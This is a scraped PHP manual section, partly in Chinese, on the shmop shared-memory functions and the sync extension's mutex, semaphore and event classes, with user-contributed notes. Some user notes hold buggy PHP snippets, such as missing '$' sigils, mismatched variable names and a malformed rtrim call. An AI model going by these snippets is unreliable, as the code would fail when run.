Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
stoimenov at email dot com 23-Jul-2002 05:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
rei at prohost dot org 11-Jan-2001 03:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com 11-Jan-2001 03:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.


Close shared memory block

  • ? Shared Memory 函数
  • shmop_delete ?
  • PHP Manual
  • Shared Memory 函数
  • Close shared memory block

shmop_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_close — Close shared memory block

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

shmop_close(Shmop $shmop): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

shmop_close() is used to close a shared memory block.

参数

shmop

The shared memory block resource created by shmop_open()

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | shmop expects a Shmop instance now; previously, a resource was expected.

示例

Example #1 Closing shared memory block

<?php
shmop_close($shm_id);
?>

This example will close shared memory block identified by $shm_id.

参见

  • shmop_open() - Create or open shared memory block

User Contributed Notes

shortboi 07-Sep-2021 11:58
As explained on this page, PHP 8.0.0 expects a Shmop instance instead of a resource. According to bug #81098 this change means that the Shmop closes itself when the script completes so there is no need to close it with shmop_close.

Using function_exists('shmop_close') will return true but calling shmop_close will throw a deprecation error.

The documentation explains the change in 8.0.0 expects the expected argument changed without mentioning it'll just throw a deprecation error.
slavapl at mailandnews dot com 02-May-2001 12:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).


Delete shared memory block

  • ? shmop_close
  • shmop_open ?
  • PHP Manual
  • Shared Memory 函数
  • Delete shared memory block

shmop_delete

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_delete — Delete shared memory block

说明

shmop_delete(Shmop $shmop): bool

shmop_delete() is used to delete a shared memory block.

参数

shmop

The shared memory block resource created by shmop_open()

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | shmop expects a Shmop instance now; previously, a resource was expected.

示例

Example #1 Deleting shared memory block

<?php
shmop_delete($shm_id);
?>

This example will delete shared memory block identified by $shm_id.

User Contributed Notes

lizzy 12-Oct-2004 07:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.


Create or open shared memory block

  • ? shmop_delete
  • shmop_read ?
  • PHP Manual
  • Shared Memory 函数
  • Create or open shared memory block

shmop_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_open — Create or open shared memory block

说明

shmop_open(
int $key,
string $mode,
int $permissions,
int $size
): Shmop|false

shmop_open() can create or open a shared memory block.

参数

key

System's id for the shared memory block. Can be passed as a decimal or hex.

mode

The flags that you can use:

  • "a" for access (sets SHM_RDONLY for shmat) use this flag when you need to open an existing shared memory segment for read only
  • "c" for create (sets IPC_CREATE) use this flag when you need to create a new shared memory segment or if a segment with the same key exists, try to open it for read and write
  • "w" for read & write access use this flag when you need to read and write to a shared memory segment, use this flag in most cases.
  • "n" create a new memory segment (sets IPC_CREATE|IPC_EXCL) use this flag when you want to create a new shared memory segment but if one already exists with the same flag, fail. This is useful for security purposes, using this you can prevent race condition exploits.

permissions

The permissions that you wish to assign to your memory segment, those are the same as permission for a file. Permissions need to be passed in octal form, like for example 0644

size

The size of the shared memory block you wish to create in bytes

Note:

Note: the 3rd and 4th should be entered as 0 if you are opening an existing memory segment.

返回值

On success shmop_open() will return a Shmop instance that you can use to access the shared memory segment you've created. false is returned on failure.

错误／异常

If mode is invalid, or size is less than or equal to zero, a ValueError is thrown. On other failures, E_WARNING is emitted.

更新日志

版本 | 说明
8.0.0 | On success, this function returns an Shmop instance now; previously, a resource was returned.
8.0.0 | If mode is invalid, or size is less than or equal to zero, a ValueError is thrown; previously E_WARNING was emitted instead, and the function returned false.

示例

Example #1 Create a new shared memory block

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

This example opened a shared memory block with a system id returned by ftok().

参见

  • shmop_close() - Close shared memory block
  • shmop_delete() - Delete shared memory block

User Contributed Notes

kakkau at grr dot la 14-Dec-2017 06:39
One is not able to reconnect to a segment with key 0. For any other key (e.g. 1) the flags just work fine.

php > $soid = shmop_open(0,"n",0600,10);
php > $soid = shmop_open(0,"w",0600,10);
PHP Warning:  shmop_open(): unable to attach or create shared memory segment 'Invalid argument' in php shell code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0
PHP   2. shmop_open(0, 'w', 384, 10) php shell code:1
kakkau at grr dot la 04-Apr-2016 08:54
On *nix systems shmop_open is able to create an "infinite" amount of segments when setting $key = 0.

After executing the following command twice in an interactive shell
php > $res = shmop_open(0,"n",0600,1024);

list the memory segments currently present
$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x00000000 2293762    user       600        1024       0
0x00000000 2326531    user       600        1024       0

For any integer <> 0 in conjunction with the flag "n" shmop_open works like documented. It fails.
Colin Paterson 17-Sep-2015 08:14
If you are running your main script as say user "root" but need to open a Shared Memory Segment as another user (from your main script) such as say "www-data" then this works:

exec("sudo -u www-data php -r 'shmop_open(0xee4, "c", 0770, 100);'"); //Create Shared Memory segment as USER www-data

$SharedMemorySegment = shmop_open(0xee4, "c", 0770, 100);
        if (!$SharedMemorySegment) {
            echo "Couldn't create shared memory segment\n";
        }
Filippo Fadda 27-Feb-2015 05:37
I'm having the same issue affecting XP and described below, on Mac OS X Lion.

To solve it, use before 'a' flag, then 'n'. Avoid 'c' flag.

<?php
$str = 'Hello World';

shm_key = ftok($_SERVER['PHP_SELF']);

if (@$shm_id = shmop_open($shm_key, 'a', 0644, 0))
  shmop_delete($shm_id);

$shm_id = shmop_open($shm_key, 'n', 0644, strlen($str));

if ($shmId) {
  shmop_write($shmId, $str, 0);
  shmop_close($shmId);
}
else
  throw new RuntimeException("Couldn't create shared memory segment.");
?>
thanks at forthefish dot com 28-Oct-2013 06:24
These shared memory functions are kind of silly on Windows where sem_get() and friends nor any sort of synchronization object is available (as of PHP 5.5.5) to perform proper locking prior to access.  A core PHP dev needs to write some wrappers for sem_get() for Windows as they did for shmop to really round out this feature.

The implementation of shmop for Windows is pretty slick - the author basically ported variations of POSIX functions to Windows equivalent prototypes.
erelsgl at gmail dot com 27-Nov-2007 03:04
=== Checking if a shared memory exists ===
The solution provided by Mitchell_Shnier at ieee dot orgZ doesn't work on my computer - I get a warning "Invalid flag ac".

In order to check if a shared-memory exists, you just have to open it with the "a" or "w" flag, while hiding the warnings using the "@" operator:
<?php
@$shid = shmop_open($systemId, "a", 0666, 0);
if (!empty($shid)) {
            ... shared memory exists
} else {
            ... shared memory doesn't exist
}
?>
Craig Manley 05-Jan-2005 05:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x6e6a694d 65538      mijnbel   644        65536      0
0x326e794d 98307      mijnbel   644        65536      0
0x62417347 131076     smsklap   644        65536      0
daniele_dll at yahoo dot it 01-Feb-2004 01:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
    $st = @stat($pathname);
    if (!$st) {
        return -1;
    }

    $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
    return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen 28-Aug-2003 11:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.


Read data from shared memory block

  • ? shmop_open
  • shmop_size ?
  • PHP Manual
  • Shared Memory 函数
  • Read data from shared memory block

shmop_read

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_read — Read data from shared memory block

说明

shmop_read(Shmop $shmop, int $offset, int $size): string

shmop_read() will read a string from shared memory block.

参数

shmop

The shared memory block identifier created by shmop_open()

offset

Offset from which to start reading; must be greater than or equal to zero and less than or equal to the actual size of the shared memory segment.

size

The number of bytes to read; must be greater than or equal to zero, and the sum of offset and size must be less than or equal to the actual size of the shared memory segment. 0 reads shmop_size($shmid) - $start bytes.

返回值

Returns the data 或者在失败时返回 false.

错误／异常

If offset or size are out of range, a ValueError is thrown.

更新日志

版本 | 说明
8.0.0 | shmop expects a Shmop instance now; previously, a resource was expected.
8.0.0 | If offset or size are out of range, a ValueError is thrown; previously E_WARNING was emitted, and false was returned,

示例

Example #1 Reading shared memory block

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

This example will read 50 bytes from shared memory block and place the data inside $shm_data.

参见

  • shmop_write() - Write data into shared memory block

User Contributed Notes

michael dot wuertz at six dot de 02-Jun-2021 05:44
With shmop_read, you probably get a "\0" - padded string.

$zero_padded = shmop_read($shm_seg, 0, 128);

$usable_string = rtrim($zero_padded, "\0");
Milan Cvejic 18-Feb-2009 01:35
You should always serialize data written in shared memory.
And when you are reading data you should always unserialize.

<?php

$data = 'test';
$shm_bytes_written = shmop_write($shm_id, serialize($data), 0);
$shm_data = unserialize(shmop_read($shm_id, 0, $shm_bytes_written));
?>
Craig Manley 07-Jan-2005 02:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
    return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com 02-May-2001 12:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com 30-Mar-2001 12:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.


Get size of shared memory block

  • ? shmop_read
  • shmop_write ?
  • PHP Manual
  • Shared Memory 函数
  • Get size of shared memory block

shmop_size

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_size — Get size of shared memory block

说明

shmop_size(Shmop $shmop): int

shmop_size() is used to get the size, in bytes of the shared memory block.

参数

shmop

The shared memory block identifier created by shmop_open()

返回值

Returns an int, which represents the number of bytes the shared memory block occupies.

更新日志

版本 | 说明
8.0.0 | shmop expects a Shmop instance now; previously, a resource was expected.

示例

Example #1 Getting the size of the shared memory block

<?php
$shm_size = shmop_size($shm_id);
?>

This example will put the size of shared memory block identified by $shm_id into $shm_size.

User Contributed Notes

There are no user contributed notes for this page.


Write data into shared memory block

  • ? shmop_size
  • Shmop ?
  • PHP Manual
  • Shared Memory 函数
  • Write data into shared memory block

shmop_write

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_write — Write data into shared memory block

说明

shmop_write(Shmop $shmop, string $data, int $offset): int

shmop_write() will write a string into shared memory block.

参数

shmop

The shared memory block identifier created by shmop_open()

data

A string to write into shared memory block

offset

Specifies where to start writing data inside the shared memory segment. The offset must be greater than or equal to zero and less than or equal to the actual size of the shared memory segment.

返回值

The size of the written data.

错误／异常

If offset is out of range, or a read-only shared memory segment should be written to, a ValueError is thrown.

更新日志

版本 | 说明
8.0.0 | Prior to PHP 8.0.0, false was returned on failure.
8.0.0 | shmop expects a Shmop instance now; previously, a resource was expected.

示例

Example #1 Writing to shared memory block

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

This example will write data inside $my_string into shared memory block, $shm_bytes_written will contain the number of bytes written.

参见

  • shmop_read() - Read data from shared memory block

User Contributed Notes

mark at manngo dot net 07-Dec-2022 07:55
On thing you might want to do is replace an old string with a shorter one, or to clear out the string altogether.

To replace the string, you can zero-byte pad the string you are writing:

<?php
    //    $shmid is from shmop_open()
    $size = 128;
    $string = 'something';

    //    write
        $string = str_pad(string, $size, "\0");
        shmop_write($shmid, $string, 0);

    //    read
        print rtrim(shmop($shmid,0,0),,"\0");

    //    clear
        $string = str_repeat("\0",$size);
        shmop_write($shmid, $string, 0);
?>
radupb at yahoo dot com 30-Nov-2020 09:13
I guess pack-unpack are the handy functions for encoding/decoding data as/from a binary string for shmop_write/shmop_read. Example:

$format='LLLLSSCCCC';  //data format for pack
$key=1;
if( !($shmid=shmop_open($key,'n',0660,30)) )
  die('shmop_open failed.');

//my data to encode:
$hd=array('ALIVE1'=>1,'ALIVE2'=>2,'ALIVE3'=>3,'ALIVE4'=>4,
      'CRTPTR'=>5,'CRTSEQ'=>6,
      'CTW'=>7,'LOCK'=>8,'PLAY'=>9,'MISS'=>10
);

$tmp=pack( $format, $hd['ALIVE1'],$hd['ALIVE2'],$hd['ALIVE3'],$hd['ALIVE4'],  $hd['CRTPTR'],$hd['CRTSEQ'],$hd['CTW'],$hd['LOCK'],$hd['PLAY'],$hd['MISS'] );

if( ($w=shmop_write($shmid,$tmp,0))!=24 )
  die('write error $w='.$w);

And reading from some other process:
$key=1;
if( !($shmid=shmop_open($key,'w',0,0)) )
  die('shmop_open failed.');

$formatR='L4ALIVE/SCRTPTR/SCRTSEQ/CCTW/CLOCK/CPLAY/CMISS'; //data format for unpack

$hd=unpack( $formatR, shmop_read( $shmid,0,24) );
echo'hd:<pre>';print_r($hd);echo'</pre>';


The Shmop class

(PHP 8)

简介

A fully opaque class which replaces shmop resources as of PHP 8.0.0.

类摘要

final class Shmop {
}

User Contributed Notes

There are no user contributed notes for this page.


Sync

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SyncMutex — The SyncMutex class
    • SyncMutex::__construct — Constructs a new SyncMutex object
    • SyncMutex::lock — Waits for an exclusive lock
    • SyncMutex::unlock — Unlocks the mutex
  • SyncSemaphore — The SyncSemaphore class
    • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
    • SyncSemaphore::lock — Decreases the count of the semaphore or waits
    • SyncSemaphore::unlock — Increases the count of the semaphore
  • SyncEvent — The SyncEvent class
    • SyncEvent::__construct — Constructs a new SyncEvent object
    • SyncEvent::fire — Fires/sets the event
    • SyncEvent::reset — Resets a manual event
    • SyncEvent::wait — Waits for the event to be fired/set
  • SyncReaderWriter — The SyncReaderWriter class
    • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
    • SyncReaderWriter::readlock — Waits for a read lock
    • SyncReaderWriter::readunlock — Releases a read lock
    • SyncReaderWriter::writelock — Waits for an exclusive write lock
    • SyncReaderWriter::writeunlock — Releases a write lock
  • SyncSharedMemory — The SyncSharedMemory class
    • SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object
    • SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory
    • SyncSharedMemory::read — Copy data from named shared memory
    • SyncSharedMemory::size — Returns the size of the named shared memory
    • SyncSharedMemory::write — Copy data to named shared memory

User Contributed Notes

There are no user contributed notes for this page.


简介

The 'sync' extension introduces cross-platform synchonization objects into PHP. Named and unnamed Mutex, Semaphore, Event, Reader-Writer, and named Shared Memory objects provide OS-level synchronization on both POSIX (e.g. Linux) and Windows platforms.

Automatic cleanup of acquired synchronization objects takes place during extension teardown. This means that if PHP prematurely terminates a script (e.g. script execution time is exceeded), objects will not be left in an unknown state. The only exception to this is if PHP itself crashes (e.g. an internal buffer overflow).

Unnamed synchronization objects don't have a lot of use outside of a multithreaded scenario. Unnamed objects are more useful in conjunction with the pthreads PECL extension.

Note:

Named objects require additional care to be used on all systems. If an object is instantiated with a specific set of parameters, it must always be instantiated with those parameters or the object will probably end up in an inconsistent state until the next reboot or a system administrator cleans up the mess.

User Contributed Notes

There are no user contributed notes for this page.


需求

A system with support for POSIX shared memory (shm_open()) or running Windows.

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/sync.

User Contributed Notes

There are no user contributed notes for this page.


The SyncMutex class

(PECL sync >= 1.0.0)

简介

A cross-platform, native implementation of named and unnamed countable mutex objects.

A mutex is a mutual exclusion object that restricts access to a shared resource (e.g. a file) to a single instance. Countable mutexes acquire the mutex a single time and internally track the number of times the mutex is locked. The mutex is unlocked as soon as it goes out of scope or is unlocked the same number of times that it was locked.

类摘要

class SyncMutex {
/* 方法 */
public __construct(string $name = ?)
public lock(int $wait = -1): bool
public unlock(bool $all = false): bool
}

Table of Contents

  • SyncMutex::__construct — Constructs a new SyncMutex object
  • SyncMutex::lock — Waits for an exclusive lock
  • SyncMutex::unlock — Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncMutex object

  • ? SyncMutex
  • SyncMutex::lock ?
  • PHP Manual
  • SyncMutex
  • Constructs a new SyncMutex object

SyncMutex::__construct

(PECL sync >= 1.0.0)

SyncMutex::__construct — Constructs a new SyncMutex object

说明

public SyncMutex::__construct(string $name = ?)

Constructs a named or unnamed countable mutex.

参数

name

The name of the mutex if this is a named mutex object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

返回值

The new SyncMutex object.

错误／异常

An exception is thrown if the mutex cannot be created or opened.

示例

Example #1 SyncMutex::__construct() named mutex with lock timeout example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
echo "Unable to lock mutex.";

exit();
}

/* ... */

$mutex->unlock();
?>

Example #2 SyncMutex::__construct() unnamed mutex example

<?php
$mutex = new SyncMutex();

$mutex->lock();

/* ... */

$mutex->unlock();
?>

参见

  • SyncMutex::lock() - Waits for an exclusive lock
  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive lock

  • ? SyncMutex::__construct
  • SyncMutex::unlock ?
  • PHP Manual
  • SyncMutex
  • Waits for an exclusive lock

SyncMutex::lock

(PECL sync >= 1.0.0)

SyncMutex::lock — Waits for an exclusive lock

说明

public SyncMutex::lock(int $wait = -1): bool

Obtains an exclusive lock on a SyncMutex object. If the lock is already acquired, then this increments an internal counter.

参数

wait

The number of milliseconds to wait for the exclusive lock. A value of -1 is infinite.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncMutex::lock() example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
echo "Unable to lock mutex.";

exit();
}

/* ... */

$mutex->unlock();
?>

参见

  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Unlocks the mutex

  • ? SyncMutex::lock
  • SyncSemaphore ?
  • PHP Manual
  • SyncMutex
  • Unlocks the mutex

SyncMutex::unlock

(PECL sync >= 1.0.0)

SyncMutex::unlock — Unlocks the mutex

说明

public SyncMutex::unlock(bool $all = false): bool

Decreases the internal counter of a SyncMutex object. When the internal counter reaches zero, the actual lock on the object is released.

参数

all

Specifies whether or not to set the internal counter to zero and therefore release the lock.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncMutex::unlock() example

<?php
$mutex = new SyncMutex("UniqueName");

$mutex->lock();

/* ... */

$mutex->unlock();
?>

参见

  • SyncMutex::lock() - Waits for an exclusive lock

User Contributed Notes

npelov at croler dot net 10-May-2020 09:18
If the php process dies unexpectedly (on linux) the lock will remain with no option to remove it. unlock() will not work if the lock is being held by other process. SyncMutex uses shared mem. in that case you can delete the shared memory object in /dev/shm. To list the objects:

ls /dev/shm/Sync_Mutex*

Keep in mind that objects remain there even after unlocking. So if you use lots of random mutex names then the number of these objects will grow and and you might want to cleanup at some point

Example sync.php:
<?php

$s = new SyncMutex("mymutex");

if(!$s->lock()){
  echo "cannot lock\n";
  exit;
}
echo "locked\n";
sleep(10);
$s->unlock();
echo "unlocked\n";
?>

then run:

php -f sync.php

and press ctrl-c. If you run it again it won't lock. So what you can do is:

rm -f /dev/shm/Sync_Mutex-*-mymutex

Then run it again - it'll lock again


The SyncSemaphore class

(PECL sync >= 1.0.0)

简介

A cross-platform, native implementation of named and unnamed semaphore objects.

A semaphore restricts access to a limited resource to a limited number of instances. Semaphores differ from mutexes in that they can allow more than one instance to access a resource at one time while a mutex only allows one instance at a time.

类摘要

class SyncSemaphore {
/* 方法 */
public __construct(string $name = ?, int $initialval = 1, bool $autounlock = true)
public lock(int $wait = -1): bool
public unlock(int &$prevcount = ?): bool
}

Table of Contents

  • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
  • SyncSemaphore::lock — Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock — Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncSemaphore object

  • ? SyncSemaphore
  • SyncSemaphore::lock ?
  • PHP Manual
  • SyncSemaphore
  • Constructs a new SyncSemaphore object

SyncSemaphore::__construct

(PECL sync >= 1.0.0)

SyncSemaphore::__construct — Constructs a new SyncSemaphore object

说明

public SyncSemaphore::__construct(string $name = ?, int $initialval = 1, bool $autounlock = true)

Constructs a named or unnamed semaphore.

参数

name

The name of the semaphore if this is a named semaphore object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

initialval

The initial value of the semaphore. This is the number of locks that may be obtained.

autounlock

Specifies whether or not to automatically unlock the semaphore at the conclusion of the PHP script.

Warning

If an object is: A named semaphore with an autounlock of false, the object is locked, and the PHP script concludes before the object is unlocked, then the underlying semaphore will end up in an inconsistent state.

返回值

The new SyncSemaphore object.

错误／异常

An exception is thrown if the semaphore cannot be created or opened.

示例

Example #1 SyncSemaphore::__construct() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Unable to lock semaphore.";

exit();
}

/* ... */

$semaphore->unlock();
?>

参见

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Decreases the count of the semaphore or waits

  • ? SyncSemaphore::__construct
  • SyncSemaphore::unlock ?
  • PHP Manual
  • SyncSemaphore
  • Decreases the count of the semaphore or waits

SyncSemaphore::lock

(PECL sync >= 1.0.0)

SyncSemaphore::lock — Decreases the count of the semaphore or waits

说明

public SyncSemaphore::lock(int $wait = -1): bool

Decreases the count of a SyncSemaphore object or waits until the semaphore becomes non-zero.

参数

wait

The number of milliseconds to wait for the semaphore. A value of -1 is infinite.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncSemaphore::lock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Unable to lock semaphore.";

exit();
}

/* ... */

$semaphore->unlock();
?>

参见

  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Increases the count of the semaphore

  • ? SyncSemaphore::lock
  • SyncEvent ?
  • PHP Manual
  • SyncSemaphore
  • Increases the count of the semaphore

SyncSemaphore::unlock

(PECL sync >= 1.0.0)

SyncSemaphore::unlock — Increases the count of the semaphore

说明

public SyncSemaphore::unlock(int &$prevcount = ?): bool

Increases the count of a SyncSemaphore object.

参数

prevcount

Returns the previous count of the semaphore.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncSemaphore::unlock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
echo "Unable to lock semaphore.";

exit();
}

/* ... */

$semaphore->unlock();
?>

参见

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits

User Contributed Notes

There are no user contributed notes for this page.


The SyncEvent class

(PECL sync >= 1.0.0)

简介

A cross-platform, native implementation of named and unnamed event objects. Both automatic and manual event objects are supported.

An event object waits, without polling, for the object to be fired/set. One instance waits on the event object while another instance fires/sets the event. Event objects are useful wherever a long-running process would otherwise poll a resource (e.g. checking to see if uploaded data needs to be processed).

类摘要

class SyncEvent {
/* 方法 */
public __construct(string $name = ?, bool $manual = false, bool $prefire = false)
public fire(): bool
public reset(): bool
public wait(int $wait = -1): bool
}

Table of Contents

  • SyncEvent::__construct — Constructs a new SyncEvent object
  • SyncEvent::fire — Fires/sets the event
  • SyncEvent::reset — Resets a manual event
  • SyncEvent::wait — Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncEvent object

  • ? SyncEvent
  • SyncEvent::fire ?
  • PHP Manual
  • SyncEvent
  • Constructs a new SyncEvent object

SyncEvent::__construct

(PECL sync >= 1.0.0)

SyncEvent::__construct — Constructs a new SyncEvent object

说明

public SyncEvent::__construct(string $name = ?, bool $manual = false, bool $prefire = false)

Constructs a named or unnamed event object.

参数

name

The name of the event if this is a named event object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

manual

Specifies whether or not the event object must be reset manually.

Note:

Manual reset event objects allow all waiting processes through until the object is reset.

prefire

Specifies whether or not to prefire (signal) the event object.

Note:

Only has impact if the calling process/thread is the first to create the object.

返回值

The new SyncEvent object.

错误／异常

An exception is thrown if the event object cannot be created or opened.

示例

Example #1 SyncEvent::__construct() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

更新日志

版本 | 说明
PECL sync 1.1.0 | Added prefire.

参见

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Fires/sets the event

  • ? SyncEvent::__construct
  • SyncEvent::reset ?
  • PHP Manual
  • SyncEvent
  • Fires/sets the event

SyncEvent::fire

(PECL sync >= 1.0.0)

SyncEvent::fire — Fires/sets the event

说明

public SyncEvent::fire(): bool

Fires/sets a SyncEvent object. Lets multiple threads through that are waiting if the event object was created with a manual value of true.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncEvent::fire() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

参见

  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Resets a manual event

  • ? SyncEvent::fire
  • SyncEvent::wait ?
  • PHP Manual
  • SyncEvent
  • Resets a manual event

SyncEvent::reset

(PECL sync >= 1.0.0)

SyncEvent::reset — Resets a manual event

说明

public SyncEvent::reset(): bool

Resets a SyncEvent object that has been fired/set. Only valid for manual event objects.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncEvent::reset() example

<?php
// In a web application:
$event = new SyncEvent("DemoApplication", true);
$event->wait();

// In a cron job:
$event = new SyncEvent("DemoApplication", true);
$event->reset();
/* ... Do some maintenance task(s) ... */
$event->fire();
?>

参见

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset()
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Waits for the event to be fired/set

  • ? SyncEvent::reset
  • SyncReaderWriter ?
  • PHP Manual
  • SyncEvent
  • Waits for the event to be fired/set

SyncEvent::wait

(PECL sync >= 1.0.0)

SyncEvent::wait — Waits for the event to be fired/set

说明

public SyncEvent::wait(int $wait = -1): bool

Waits for the SyncEvent object to be fired.

参数

wait

The number of milliseconds to wait for the event to be fired. A value of -1 is infinite.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncEvent::wait() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

参见
